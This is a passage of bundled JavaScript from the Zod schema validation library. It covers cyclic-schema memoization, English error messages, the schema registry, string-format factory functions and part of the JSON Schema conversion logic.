\"default\":\n		case \"prefault\":\n		case \"catch\":\n		case \"readonly\":\n		case \"nonoptional\":\n		case \"promise\":\n		case \"success\":\n			check(def.innerType);\n			break;\n		case \"pipe\":\n			check(def.in);\n			check(def.out);\n			break;\n		case \"function\":\n			check(def.input);\n			check(def.output);\n			break;\n		case \"lazy\": {\n			const inner = def._cachedInner ?? (resolve ? inst._zod.innerType : void 0);\n			merge(inner ? isRecursive(inner, stack, false) : ASSUMED);\n			break;\n		}\n		case \"template_literal\":\n		case \"string\":\n		case \"number\":\n		case \"int\":\n		case \"boolean\":\n		case \"bigint\":\n		case \"symbol\":\n		case \"undefined\":\n		case \"null\":\n		case \"void\":\n		case \"never\":\n		case \"any\":\n		case \"unknown\":\n		case \"date\":\n		case \"nan\":\n		case \"enum\":\n		case \"literal\":\n		case \"file\":\n		case \"transform\":\n		case \"custom\": break;\n		default: for (const key in def) {\n			const desc = Object.getOwnPropertyDescriptor(def, key);\n			if (!desc || desc.get) continue;\n			const value = desc.value;\n			if (!value || typeof value !== \"object\") continue;\n			if (value._zod) check(value);\n			else if (Array.isArray(value)) for (const el of value) check(el);\n		}\n	}\n	stack.delete(inst);\n	return settle(inst, result);\n}\n/** An assumed answer must not outlive the resolution that settles it, so only a certain one is cached. */\nfunction settle(inst, answer) {\n	if (answer !== ASSUMED) recursive.set(inst, answer === PROVEN);\n	return answer;\n}\nfunction bucketFor(state, inst) {\n	let bucket = state.buckets.get(inst);\n	if (!bucket) {\n		bucket = /* @__PURE__ */ new WeakMap();\n		state.buckets.set(inst, bucket);\n	}\n	return bucket;\n}\nlet handoff;\nconst open = [];\nconst memo = {\n	alloc(_inst, payload, empty) {\n		const bucket = handoff;\n		if (!bucket) return empty;\n		handoff = void 0;\n		const entry = {\n			value: empty,\n			issues: null\n		};\n		bucket.set(payload.value, entry);\n		open.push(entry);\n		return empty;\n	},\n	guard(inst) {\n		var _a;\n		(_a = inst._zod).deferred ?? (_a.deferred = []);\n		inst._zod.deferred.push(() => {\n			const base = inst._zod.parse;\n			const wrapped = (payload, ctx) => {\n				if (ctx.direction !== \"backward\" && isBackEdge(ctx, payload.value)) throw new $ZodCyclicError();\n				return base(payload, ctx);\n			};\n			inst._zod.parse = wrapped;\n			if (inst._zod.run === base) inst._zod.run = wrapped;\n		});\n	},\n	attach(inst) {\n		var _a;\n		let isRecursiveInst;\n		let rechecked = false;\n		let lastCtx;\n		let lastBucket;\n		(_a = inst._zod).deferred ?? (_a.deferred = []);\n		inst._zod.deferred.push(() => {\n			const base = inst._zod.parse;\n			const wrapped = (payload, ctx) => {\n				if (isRecursiveInst === void 0) {\n					const walked = isRecursive(inst, /* @__PURE__ */ new Set(), false);\n					if (walked === NONE) {\n						inst._zod.parse = base;\n						if (inst._zod.run === wrapped) inst._zod.run = base;\n						return base(payload, ctx);\n					}\n					if (walked === PROVEN || rechecked) isRecursiveInst = true;\n					else rechecked = true;\n				}\n				const input = payload.value;\n				if (!isRef(input)) return base(payload, ctx);\n				let state = ctx[STATE];\n				if (!state) {\n					state = {\n						buckets: /* @__PURE__ */ new WeakMap(),\n						backEdges: void 0\n					};\n					ctx[STATE] = state;\n				}\n				let bucket;\n				if (lastCtx === ctx) bucket = lastBucket;\n				else {\n					bucket = bucketFor(state, inst);\n					lastCtx = ctx;\n					lastBucket = bucket;\n				}\n				const hit = bucket.get(input);\n				if (hit) {\n					payload.value = hit.value;\n					if (hit.issues) {\n						if (hit.issues.length) payload.issues.push(...cloneIssues(hit.issues));\n					} else {\n						payload.memo = true;\n						state.backEdges ?? (state.backEdges = /* @__PURE__ */ new WeakSet());\n						state.backEdges.add(hit.value);\n					}\n					return payload;\n				}\n				handoff = bucket;\n				const depth = open.length;\n				const result = base(payload, ctx);\n				handoff = void 0;\n				const entry = open.length > depth ? open.pop() : void 0;\n				if (result instanceof Promise) return result.then((r) => {\n					if (entry) entry.issues = r.issues.length ? cloneIssues(r.issues) : NO_ISSUES;\n					return r;\n				});\n				if (entry) entry.issues = result.issues.length ? cloneIssues(result.issues) : NO_ISSUES;\n				return result;\n			};\n			inst._zod.parse = wrapped;\n			if (inst._zod.run === base) inst._zod.run = wrapped;\n		});\n	}\n};\n/** The memoizer that gives containers cycle support. `zod` installs it by default; `zod/mini` opts in with `config({ memoizer: memoizer() })`. */\nfunction memoizer() {\n	return memo;\n}\n/** Whether this value is a node a back-edge resolved to before it finished. */\nfunction isBackEdge(ctx, value) {\n	const backEdges = ctx[STATE]?.backEdges;\n	return backEdges !== void 0 && isRef(value) && backEdges.has(value);\n}\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.6.5/node_modules/zod/v4/locales/en.js\nconst error = () => {\n	const Sizable = {\n		string: {\n			unit: \"characters\",\n			verb: \"to have\"\n		},\n		file: {\n			unit: \"bytes\",\n			verb: \"to have\"\n		},\n		array: {\n			unit: \"items\",\n			verb: \"to have\"\n		},\n		set: {\n			unit: \"items\",\n			verb: \"to have\"\n		},\n		map: {\n			unit: \"entries\",\n			verb: \"to have\"\n		}\n	};\n	function getSizing(origin) {\n		return Sizable[origin] ?? null;\n	}\n	const FormatDictionary = {\n		regex: \"input\",\n		email: \"email address\",\n		url: \"URL\",\n		emoji: \"emoji\",\n		uuid: \"UUID\",\n		uuidv4: \"UUIDv4\",\n		uuidv6: \"UUIDv6\",\n		nanoid: \"nanoid\",\n		guid: \"GUID\",\n		cuid: \"cuid\",\n		cuid2: \"cuid2\",\n		ulid: \"ULID\",\n		xid: \"XID\",\n		ksuid: \"KSUID\",\n		datetime: \"ISO datetime\",\n		date: \"ISO date\",\n		time: \"ISO time\",\n		duration: \"ISO duration\",\n		ipv4: \"IPv4 address\",\n		ipv6: \"IPv6 address\",\n		mac: \"MAC address\",\n		cidrv4: \"IPv4 range\",\n		cidrv6: \"IPv6 range\",\n		base64: \"base64-encoded string\",\n		base64url: \"base64url-encoded string\",\n		json_string: \"JSON string\",\n		e164: \"E.164 number\",\n		currency_code: \"currency code\",\n		credit_card: \"credit card number\",\n		iban: \"IBAN\",\n		jwt: \"JWT\",\n		template_literal: \"input\"\n	};\n	const TypeDictionary = { nan: \"NaN\" };\n	function getTypeName(type, input) {\n		if (type === \"number\" && typeof input === \"number\" && !Number.isFinite(input)) return String(input);\n		return TypeDictionary[type] ?? type;\n	}\n	return (issue) => {\n		switch (issue.code) {\n			case \"invalid_type\": return `Invalid input: expected ${getTypeName(issue.expected)}, received ${getTypeName(parsedType(issue.input), issue.input)}`;\n			case \"invalid_value\":\n				if (issue.values.length === 1) return `Invalid input: expected ${stringifyPrimitive(issue.values[0])}`;\n				return `Invalid option: expected one of ${joinValues(issue.values, \"|\")}`;\n			case \"too_big\": {\n				const adj = issue.exact ? \"exactly \" : issue.inclusive ? \"<=\" : \"<\";\n				const sizing = getSizing(issue.origin);\n				if (sizing) return `Too big: expected ${issue.origin ?? \"value\"} to have ${adj}${issue.maximum.toString()} ${sizing.unit ?? \"elements\"}`;\n				return `Too big: expected ${issue.origin ?? \"value\"} to be ${adj}${issue.maximum.toString()}`;\n			}\n			case \"too_small\": {\n				const adj = issue.exact ? \"exactly \" : issue.inclusive ? \">=\" : \">\";\n				const sizing = getSizing(issue.origin);\n				if (sizing) return `Too small: expected ${issue.origin} to have ${adj}${issue.minimum.toString()} ${sizing.unit}`;\n				return `Too small: expected ${issue.origin} to be ${adj}${issue.minimum.toString()}`;\n			}\n			case \"invalid_format\": {\n				const _issue = issue;\n				if (_issue.format === \"starts_with\") return `Invalid string: must start with \"${_issue.prefix}\"`;\n				if (_issue.format === \"ends_with\") return `Invalid string: must end with \"${_issue.suffix}\"`;\n				if (_issue.format === \"includes\") return `Invalid string: must include \"${_issue.includes}\"`;\n				if (_issue.format === \"regex\") return `Invalid string: must match pattern ${_issue.pattern}`;\n				return `Invalid ${FormatDictionary[_issue.format] ?? issue.format}`;\n			}\n			case \"not_multiple_of\": return `Invalid number: must be a multiple of ${issue.divisor}`;\n			case \"unrecognized_keys\": return `Unrecognized key${issue.keys.length > 1 ? \"s\" : \"\"}: ${joinValues(issue.keys, \", \")}`;\n			case \"invalid_key\": return `Invalid key in ${issue.origin}`;\n			case \"invalid_union\":\n				if (issue.options && Array.isArray(issue.options) && issue.options.length > 0) return `Invalid discriminator value. Expected ${issue.options.map((o) => `'${o}'`).join(\" | \")}`;\n				if (issue.inclusive === false) return \"Invalid input: more than one option matched\";\n				return \"Invalid input\";\n			case \"invalid_element\": return `Invalid value in ${issue.origin}`;\n			default: return `Invalid input`;\n		}\n	};\n};\nfunction en_default() {\n	return { localeError: error() };\n}\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.6.5/node_modules/zod/v4/core/registries.js\nvar _a;\nvar $ZodRegistry = class {\n	constructor() {\n		this._map = /* @__PURE__ */ new WeakMap();\n		this._idmap = /* @__PURE__ */ new Map();\n	}\n	add(schema, ..._meta) {\n		const meta = _meta[0];\n		this._map.set(schema, meta);\n		if (meta && typeof meta === \"object\" && \"id\" in meta) this._idmap.set(meta.id, schema);\n		return this;\n	}\n	clear() {\n		this._map = /* @__PURE__ */ new WeakMap();\n		this._idmap = /* @__PURE__ */ new Map();\n		return this;\n	}\n	remove(schema) {\n		const meta = this._map.get(schema);\n		if (meta && typeof meta === \"object\" && \"id\" in meta) this._idmap.delete(meta.id);\n		this._map.delete(schema);\n		return this;\n	}\n	get(schema) {\n		const p = schema._zod.parent;\n		if (p) {\n			const pm = { ...this.get(p) ?? {} };\n			delete pm.id;\n			const f = {\n				...pm,\n				...this._map.get(schema)\n			};\n			return Object.keys(f).length ? f : void 0;\n		}\n		return this._map.get(schema);\n	}\n	has(schema) {\n		return this._map.has(schema);\n	}\n};\nfunction registry() {\n	return new $ZodRegistry();\n}\n(_a = globalThis).__zod_globalRegistry ?? (_a.__zod_globalRegistry = registry());\nconst globalRegistry = globalThis.__zod_globalRegistry;\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.6.5/node_modules/zod/v4/core/api.js\nfunction snapshotChecks(def) {\n	if (def.checks) def.checks = [...def.checks];\n	return def;\n}\n// @__NO_SIDE_EFFECTS__\nfunction _string(Class, params) {\n	return new Class(snapshotChecks({\n		type: \"string\",\n		...normalizeParams(params)\n	}));\n}\n// @__NO_SIDE_EFFECTS__\nfunction _email(Class, params) {\n	return new Class({\n		type: \"string\",\n		format: \"email\",\n		check: \"string_format\",\n		abort: false,\n		...normalizeParams(params)\n	});\n}\n// @__NO_SIDE_EFFECTS__\nfunction _guid(Class, params) {\n	return new Class({\n		type: \"string\",\n		format: \"guid\",\n		check: \"string_format\",\n		abort: false,\n		...normalizeParams(params)\n	});\n}\n// @__NO_SIDE_EFFECTS__\nfunction _uuid(Class, params) {\n	return new Class({\n		type: \"string\",\n		format: \"uuid\",\n		check: \"string_format\",\n		abort: false,\n		...normalizeParams(params)\n	});\n}\n// @__NO_SIDE_EFFECTS__\nfunction _uuidv4(Class, params) {\n	return new Class({\n		type: \"string\",\n		format: \"uuid\",\n		check: \"string_format\",\n		abort: false,\n		version: \"v4\",\n		...normalizeParams(params)\n	});\n}\n// @__NO_SIDE_EFFECTS__\nfunction _uuidv6(Class, params) {\n	return new Class({\n		type: \"string\",\n		format: \"uuid\",\n		check: \"string_format\",\n		abort: false,\n		version: \"v6\",\n		...normalizeParams(params)\n	});\n}\n// @__NO_SIDE_EFFECTS__\nfunction _uuidv7(Class, params) {\n	return new Class({\n		type: \"string\",\n		format: \"uuid\",\n		check: \"string_format\",\n		abort: false,\n		version: \"v7\",\n		...normalizeParams(params)\n	});\n}\n// @__NO_SIDE_EFFECTS__\nfunction _url(Class, params) {\n	return new Class({\n		type: \"string\",\n		format: \"url\",\n		check: \"string_format\",\n		abort: false,\n		...normalizeParams(params)\n	});\n}\n// @__NO_SIDE_EFFECTS__\nfunction _emoji(Class, params) {\n	return new Class({\n		type: \"string\",\n		format: \"emoji\",\n		check: \"string_format\",\n		abort: false,\n		...normalizeParams(params)\n	});\n}\n// @__NO_SIDE_EFFECTS__\nfunction _nanoid(Class, params) {\n	return new Class({\n		type: \"string\",\n		format: \"nanoid\",\n		check: \"string_format\",\n		abort: false,\n		...normalizeParams(params)\n	});\n}\n/**\n* @deprecated CUID v1 is deprecated by its authors due to information leakage\n* (timestamps embedded in the id). Use {@link _cuid2} instead.\n* See https://github.com/paralleldrive/cuid.\n*/\n// @__NO_SIDE_EFFECTS__\nfunction _cuid(Class, params) {\n	return new Class({\n		type: \"string\",\n		format: \"cuid\",\n		check: \"string_format\",\n		abort: false,\n		...normalizeParams(params)\n	});\n}\n// @__NO_SIDE_EFFECTS__\nfunction _cuid2(Class, params) {\n	return new Class({\n		type: \"string\",\n		format: \"cuid2\",\n		check: \"string_format\",\n		abort: false,\n		...normalizeParams(params)\n	});\n}\n// @__NO_SIDE_EFFECTS__\nfunction _ulid(Class, params) {\n	return new Class({\n		type: \"string\",\n		format: \"ulid\",\n		check: \"string_format\",\n		abort: false,\n		...normalizeParams(params)\n	});\n}\n// @__NO_SIDE_EFFECTS__\nfunction _xid(Class, params) {\n	return new Class({\n		type: \"string\",\n		format: \"xid\",\n		check: \"string_format\",\n		abort: false,\n		...normalizeParams(params)\n	});\n}\n// @__NO_SIDE_EFFECTS__\nfunction _ksuid(Class, params) {\n	return new Class({\n		type: \"string\",\n		format: \"ksuid\",\n		check: \"string_format\",\n		abort: false,\n		...normalizeParams(params)\n	});\n}\n// @__NO_SIDE_EFFECTS__\nfunction _ipv4(Class, params) {\n	return new Class({\n		type: \"string\",\n		format: \"ipv4\",\n		check: \"string_format\",\n		abort: false,\n		...normalizeParams(params)\n	});\n}\n// @__NO_SIDE_EFFECTS__\nfunction _ipv6(Class, params) {\n	return new Class({\n		type: \"string\",\n		format: \"ipv6\",\n		check: \"string_format\",\n		abort: false,\n		...normalizeParams(params)\n	});\n}\n// @__NO_SIDE_EFFECTS__\nfunction _cidrv4(Class, params) {\n	return new Class({\n		type: \"string\",\n		format: \"cidrv4\",\n		check: \"string_format\",\n		abort: false,\n		...normalizeParams(params)\n	});\n}\n// @__NO_SIDE_EFFECTS__\nfunction _cidrv6(Class, params) {\n	return new Class({\n		type: \"string\",\n		format: \"cidrv6\",\n		check: \"string_format\",\n		abort: false,\n		...normalizeParams(params)\n	});\n}\n// @__NO_SIDE_EFFECTS__\nfunction _base64(Class, params) {\n	return new Class({\n		type: \"string\",\n		format: \"base64\",\n		check: \"string_format\",\n		abort: false,\n		...normalizeParams(params)\n	});\n}\n// @__NO_SIDE_EFFECTS__\nfunction _base64url(Class, params) {\n	return new Class({\n		type: \"string\",\n		format: \"base64url\",\n		check: \"string_format\",\n		abort: false,\n		...normalizeParams(params)\n	});\n}\n// @__NO_SIDE_EFFECTS__\nfunction _e164(Class, params) {\n	return new Class({\n		type: \"string\",\n		format: \"e164\",\n		check: \"string_format\",\n		abort: false,\n		...normalizeParams(params)\n	});\n}\n// @__NO_SIDE_EFFECTS__\nfunction _jwt(Class, params) {\n	return new Class({\n		type: \"string\",\n		format: \"jwt\",\n		check: \"string_format\",\n		abort: false,\n		...normalizeParams(params)\n	});\n}\n// @__NO_SIDE_EFFECTS__\nfunction _isoDateTime(Class, params) {\n	return new Class({\n		type: \"string\",\n		format: \"datetime\",\n		check: \"string_format\",\n		offset: false,\n		local: false,\n		precision: null,\n		...normalizeParams(params)\n	});\n}\n// @__NO_SIDE_EFFECTS__\nfunction _isoDate(Class, params) {\n	return new Class({\n		type: \"string\",\n		format: \"date\",\n		check: \"string_format\",\n		...normalizeParams(params)\n	});\n}\n// @__NO_SIDE_EFFECTS__\nfunction _isoTime(Class, params) {\n	return new Class({\n		type: \"string\",\n		format: \"time\",\n		check: \"string_format\",\n		precision: null,\n		...normalizeParams(params)\n	});\n}\n// @__NO_SIDE_EFFECTS__\nfunction _isoDuration(Class, params) {\n	return new Class({\n		type: \"string\",\n		format: \"duration\",\n		check: \"string_format\",\n		...normalizeParams(params)\n	});\n}\n// @__NO_SIDE_EFFECTS__\nfunction _unknown(Class) {\n	return new Class({ type: \"unknown\" });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _never(Class, params) {\n	return new Class({\n		type: \"never\",\n		...normalizeParams(params)\n	});\n}\n// @__NO_SIDE_EFFECTS__\nfunction _maxLength(maximum, params) {\n	return new $ZodCheckMaxLength({\n		check: \"max_length\",\n		...normalizeParams(params),\n		maximum\n	});\n}\n// @__NO_SIDE_EFFECTS__\nfunction _minLength(minimum, params) {\n	return new $ZodCheckMinLength({\n		check: \"min_length\",\n		...normalizeParams(params),\n		minimum\n	});\n}\n// @__NO_SIDE_EFFECTS__\nfunction _length(length, params) {\n	return new $ZodCheckLengthEquals({\n		check: \"length_equals\",\n		...normalizeParams(params),\n		length\n	});\n}\n// @__NO_SIDE_EFFECTS__\nfunction _regex(pattern, params) {\n	return new $ZodCheckRegex({\n		check: \"string_format\",\n		format: \"regex\",\n		...normalizeParams(params),\n		pattern\n	});\n}\n// @__NO_SIDE_EFFECTS__\nfunction _lowercase(params) {\n	return new $ZodCheckLowerCase({\n		check: \"string_format\",\n		format: \"lowercase\",\n		...normalizeParams(params)\n	});\n}\n// @__NO_SIDE_EFFECTS__\nfunction _uppercase(params) {\n	return new $ZodCheckUpperCase({\n		check: \"string_format\",\n		format: \"uppercase\",\n		...normalizeParams(params)\n	});\n}\n// @__NO_SIDE_EFFECTS__\nfunction _includes(includes, params) {\n	return new $ZodCheckIncludes({\n		check: \"string_format\",\n		format: \"includes\",\n		...normalizeParams(params),\n		includes\n	});\n}\n// @__NO_SIDE_EFFECTS__\nfunction _startsWith(prefix, params) {\n	return new $ZodCheckStartsWith({\n		check: \"string_format\",\n		format: \"starts_with\",\n		...normalizeParams(params),\n		prefix\n	});\n}\n// @__NO_SIDE_EFFECTS__\nfunction _endsWith(suffix, params) {\n	return new $ZodCheckEndsWith({\n		check: \"string_format\",\n		format: \"ends_with\",\n		...normalizeParams(params),\n		suffix\n	});\n}\n// @__NO_SIDE_EFFECTS__\nfunction _overwrite(tx) {\n	return new $ZodCheckOverwrite({\n		check: \"overwrite\",\n		tx\n	});\n}\n// @__NO_SIDE_EFFECTS__\nfunction _normalize(form) {\n	return /* @__PURE__ */ _overwrite((input) => input.normalize(form));\n}\n// @__NO_SIDE_EFFECTS__\nfunction _trim() {\n	return /* @__PURE__ */ _overwrite((input) => input.trim());\n}\n// @__NO_SIDE_EFFECTS__\nfunction _toLowerCase() {\n	return /* @__PURE__ */ _overwrite((input) => input.toLowerCase());\n}\n// @__NO_SIDE_EFFECTS__\nfunction _toUpperCase() {\n	return /* @__PURE__ */ _overwrite((input) => input.toUpperCase());\n}\n// @__NO_SIDE_EFFECTS__\nfunction _slugify() {\n	return /* @__PURE__ */ _overwrite((input) => slugify(input));\n}\n// @__NO_SIDE_EFFECTS__\nfunction _array(Class, element, params) {\n	return new Class({\n		type: \"array\",\n		element,\n		...normalizeParams(params)\n	});\n}\n// @__NO_SIDE_EFFECTS__\nfunction _refine(Class, fn, _params) {\n	return new Class({\n		type: \"custom\",\n		check: \"custom\",\n		fn,\n		...normalizeParams(_params)\n	});\n}\n// @__NO_SIDE_EFFECTS__\nfunction _superRefine(fn, params) {\n	const ch = /* @__PURE__ */ _check((payload) => {\n		payload.addIssue = (issue$2) => {\n			if (typeof issue$2 === \"string\") payload.issues.push(issue(issue$2, payload.value, ch._zod.def));\n			else {\n				const _issue = issue$2;\n				if (_issue.fatal) _issue.continue = false;\n				_issue.code ?? (_issue.code = \"custom\");\n				if (!(\"input\" in _issue)) _issue.input = payload.value;\n				_issue.inst ?? (_issue.inst = ch);\n				_issue.continue ?? (_issue.continue = !ch._zod.def.abort);\n				payload.issues.push(issue(_issue));\n			}\n		};\n		return fn(payload.value, payload);\n	}, params);\n	return ch;\n}\n// @__NO_SIDE_EFFECTS__\nfunction _check(fn, params) {\n	const ch = new $ZodCheck({\n		check: \"custom\",\n		...normalizeParams(params)\n	});\n	ch._zod.check = fn;\n	return ch;\n}\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.6.5/node_modules/zod/v4/core/to-json-schema.js\nfunction assignProps(target, ...sources) {\n	for (const source of sources) for (const key of Reflect.ownKeys(source)) if (Object.prototype.propertyIsEnumerable.call(source, key)) assignProp(target, key, source[key]);\n	return target;\n}\nfunction initializeContext(params) {\n	let target = params?.target ?? \"draft-2020-12\";\n	if (target === \"draft-4\") target = \"draft-04\";\n	if (target === \"draft-7\") target = \"draft-07\";\n	return {\n		processors: params.processors ?? {},\n		metadataRegistry: params?.metadata ?? globalRegistry,\n		target,\n		unrepresentable: params?.unrepresentable ?? \"throw\",\n		override: params?.override ?? (() => {}),\n		io: params?.io ?? \"output\",\n		counter: 0,\n		seen: /* @__PURE__ */ new Map(),\n		sharedDefsExtractedFor: void 0,\n		sharedEmitDoneFor: void 0,\n		cycles: params?.cycles ?? \"ref\",\n		reused: params?.reused ?? \"inline\",\n		intersections: [],\n		deferred: [],\n		external: params?.external ?? void 0\n	};\n}\n/**\n* Applies the `unrepresentable` setting at a site that has no JSON Schema equivalent. Throws\n* `message` unless the setting (or the handler's return value) says otherwise. Returns `true` if a\n* custom JSON Schema was written into `json`, in which case the caller must not write its own.\n*/\nfunction handleUnrepresentable(schema, ctx, json, params, message) {\n	const result = typeof ctx.unrepresentable === \"function\" ? ctx.unrepresentable({\n		zodSchema: schema,\n		path: params.path,\n		message\n	}) : ctx.unrepresentable;\n	if (result === \"any\") return false;\n	if (result === void 0 || result === \"throw\") throw new Error(message);\n	Object.assign(json, result);\n	return true;\n}\nfunction processSchema(schema, ctx, _params = {\n	path: [],\n	schemaPath: []\n}) {\n	var _a;\n	const def = schema._zod.def;\n	const seen = ctx.seen.get(schema);\n	if (seen) {\n		seen.count++;\n		if (_params.schemaPath.includes(schema)) seen.cycle = _params.path;\n		return seen.schema;\n	}\n	const result = {\n		schema: {},\n		count: 1,\n		cycle: void 0,\n		path: _params.path\n	};\n	ctx.seen.set(schema, result);\n	ctx.sharedDefsExtractedFor = void 0;\n	ctx.sharedEmitDoneFor = void 0;\n	const overrideSchema = schema._zod.toJSONSchema?.();\n	if (overrideSchema) result.schema = overrideSchema;\n	else {\n		const params = {\n			..._params,\n			schemaPath: [..._params.schemaPath, schema],\n			path: _params.path\n		};\n		if (schema._zod.processJSONSchema) schema._zod.processJSONSchema(ctx, result.schema, params);\n		else {\n			const _json = result.schema;\n			const processor = ctx.processors[def.type];\n			if (!processor) throw new Error(`[toJSONSchema]: Non-representable type encountered: ${def.type}`);\n			processor(schema, ctx, _json, params);\n		}\n		const parent = schema._zod.parent;\n		if (parent) {\n			if (!result.ref) result.ref = parent;\n			processSchema(parent, ctx, params);\n			ctx.seen.get(parent).isParent = true;\n		}\n	}\n	const meta = ctx.metadataRegistry.get(schema);\n	if (meta) assignProps(result.schema, meta);\n	if (ctx.io === \"input\" && isTransforming(schema)) {\n		delete result.schema.examples;\n		delete result.schema.default;\n	}\n	if (ctx.io === \"input\" && \"_prefault\" in result.schema) (_a = result.schema).default ?? (_a.default = result.schema._prefault);\n	delete result.schema._prefault;\n	return ctx.seen.get(schema).schema;\n}\nfunction encodeJSONPointerSegment(segment) {\n	return segment.replace(/~/g, \"~0\").replace(/\\//g, \"~1\");\n}\nfunction extractDefs(ctx, schema) {\n	const root = ctx.seen.get(schema);\n	if (!root) throw new Error(\"Unprocessed schema. This is a bug in Zod.\");\n	if (ctx.external && ctx.sharedDefsExtractedFor === ctx.external) return;\n	const idToSchema = /* @__PURE__ */ new Map();\n	for (const entry of ctx.seen.entries()) {\n		const id = ctx.metadataRegistry.get(entry[0])?.id;\n		if (id) {\n			const existing = idToSchema.get(id);\n			if (existing && existing !== entry[0]) throw new Error(`Duplicate schema id \"${id}\" detected during JSON Schema conversion. Two different schemas cannot share the same id when converted together.`);\n			idToSchema.set(id, entry[0]);\n		}\n	}\n	const makeURI = (entry) => {\n		const defsSegment = ctx.target === \"draft-2020-12\" ? \"$defs\" : \"definitions\";\n		if (ctx.external) {\n			const externalId = ctx.external.registry.get(entry[0])?.id;\n			const uriGenerator = ctx.external.uri ?? ((id) => id);\n			if (externalId) return { ref: uriGenerator(externalId) };\n			const id = entry[1].defId ?? entry[1].schema.id ?? `schema${ctx.counter++}`;\n			entry[1].defId = id;\n			return {\n				defId: id,\n				ref: `${uriGenerator(\"__shared\")}#/${defsSegment}/${encodeJSONPointerSegment(id)}`\n			};\n		}\n		const uriPrefix = `#`;\n		const defUriPrefix = `${uriPrefix}/${defsSegment}/`;\n		if (entry[1] === root && !entry[1].schema.id) return { ref: uriPrefix };\n		const defId = entry[1].schema.id ?? `__schema${ctx.counter++}`;\n		return {\n			defId,\n			ref: defUriPrefix + encodeJSONPointerSegment(defId)\n		};\n	};\n	const extractToDef = (entry) => {\n		if (entry[1].schema.$ref) return;\n		const seen = entry[1];\n		const { ref, defId } = makeURI(entry);\n		seen.def = { ...seen.schema };\n		if (defId) seen.defId = defId;\n		const schema = seen.schema;\n		for (const key in schema) delete schema[key];\n		schema.$ref = ref;\n	};\n	if (ctx.cycles === \"throw\") for (const entry of ctx.seen.entries()) {\n		const seen = entry[1];\n		if (seen.cycle) throw new Error(`Cycle detected: #/${seen.cycle?.join(\"/\")}/<root>\n\nSet the \\`cycles\\` parameter to \\`\"ref\"\\` to resolve cyclical schemas with defs.`);\n	}\n	for (const entry of ctx.seen.entries()) {\n		const seen = entry[1];\n		if (schema === entry[0]) {\n			extractToDef(entry);\n			continue;\n		}\n		if (ctx.external) {\n			const ext = ctx.external.registry.get(entry[0])?.id;\n			if (schema !== entry[0] && ext) {\n				extractToDef(entry);\n				continue;\n			}\n		}\n		if (ctx.metadataRegistry.get(entry[0])?.id) {\n			extractToDef(entry);\n			continue;\n		}\n		if (seen.cycle) {\n			extractToDef(entry);\n			continue;\n		}\n		if (seen.count > 1) {\n			if (ctx.reused === \"ref\") extractToDef(entry);\n		}\n	}\n	if (ctx.external) ctx.sharedDefsExtractedFor = ctx.external;\n}\n/** Rewrites `anyOf: [{type: \"a\"}, {type: \"b\"}]` to `type: [\"a\", \"b\"]`, which every JSON Schema draft treats as equivalent and most consumers render far better for the nullable case. Only branches that are a bare type assertion qualify — anything carrying a constraint, `$ref`, `const` or metadata is left alone. Runs after `flattenRef`, so a branch an override decorated or `$defs` extraction turned into a `$ref` is no longer bare and correctly stays in `anyOf`. `oneOf` is excluded: `integer` and `number` overlap, so \"exactly one\" and \"at least one\" are not the same there. OpenAPI 3.0 is excluded: its `type` must be a single string. */\nfunction compactTypeUnion(schema) {\n	const options = schema.anyOf;\n	if (!Array.isArray(options) || options.length === 0 || schema.type !== void 0) return;\n	const types = [];\n	for (const option of options) {\n		if (!option || typeof option !== \"object\") return;\n		compactTypeUnion(option);\n		const keys = Object.keys(option);\n		if (keys.length !== 1 || keys[0] !== \"type\") return;\n		const type = option.type;\n		for (const member of Array.isArray(type) ? type : [type]) {\n			if (typeof member !== \"string\") return;\n			if (!types.includes(member)) types.push(member);\n		}\n	}\n	delete schema.anyOf;\n	schema.type = types.length === 1 ? types[0] : types;\n}\n/** Keywords `foldIntersection` knows how to combine. Anything else — `$ref`, `patternProperties`,\n* an annotation like `description` — makes a member unfoldable, so a constraint this does not\n* understand leaves the `allOf` alone instead of being silently dropped or misattributed. */\nconst FOLDABLE_KEYS = /* @__PURE__ */ new Set([\n	\"type\",\n	\"properties\",\n	\"required\",\n	\"additionalProperties\"\n]);\nconst UNION_KEYS = [\"oneOf\", \"anyOf\"];\n/** A member's constraint on a key it does not declare itself. A `catchall` states one; `false`, an absent `additionalProperties`, and the empty schema a loose object emits state nothing. */\nfunction undeclaredConstraint(member) {\n	const extra = member.additionalProperties;\n	if (extra === void 0 || extra === false || typeof extra !== \"object\" || extra === null) return null;\n	return Object.keys(extra).length ? extra : null;\n}\n/** Combines object members into the single object they describe together, or returns `null` if any of them carries a keyword outside {@link FOLDABLE_KEYS}. */\nfunction foldObjects(members) {\n	const objects = [];\n	for (const member of members) {\n		if (typeof member !== \"object\" || member.type !== \"object\") return null;\n		for (const key in member) if (!FOLDABLE_KEYS.has(key)) return null;\n		objects.push(member);\n	}\n	const properties = {};\n	const required = /* @__PURE__ */ new Set();\n	for (const object of objects) {\n		for (const key in object.properties) {\n			if (Object.prototype.hasOwnProperty.call(properties, key)) continue;\n			const parts = [];\n			for (const other of objects) {\n				const part = other.properties?.[key] ?? undeclaredConstraint(other);\n				if (part === null || part === void 0) continue;\n				if (!parts.some((seen) => JSON.stringify(seen) === JSON.stringify(part))) parts.push(part);\n			}\n			const merged = parts.length === 1 ? parts[0] : foldObjects(parts) ?? { allOf: parts };\n			assignProp(properties, key, merged);\n		}\n		for (const key of object.required ?? []) required.add(key);\n	}\n	const folded = {\n		type: \"object\",\n		properties\n	};\n	if (required.size) folded.required = [...required];\n	if (objects.every((object) => object.additionalProperties === false)) folded.additionalProperties = false;\n	else {\n		const constraints = [];\n		for (const object of objects) {\n			const constraint = undeclaredConstraint(object);\n			if (constraint && !constraints.some((seen) => JSON.stringify(seen) === JSON.stringify(constraint))) constraints.push(constraint);\n		}\n		if (constraints.length === 1) folded.additionalProperties = constraints[0];\n		else if (constraints.length > 1) folded.additionalProperties = { allOf: constraints };\n	}\n	return folded;\n}\n/** `additionalProperties` in an `allOf` member sees only that member's own `properties`, so two\n* closed object members reject each other's keys and the schema validates nothing. Zod's parser\n* pools the key sets instead — `handleIntersectionResults` reports a key as unrecognized only when\n* *every* side rejects it — so the emitted schema has to pool them too, and folding the members\n* into one object is the encoding that says so on every target.\n*\n* This runs from `finalize`, after `extractDefs`, which is what keeps it clear of the `$ref`\n* machinery: a member extracted into `$defs` is already a `$ref` by now and declines to 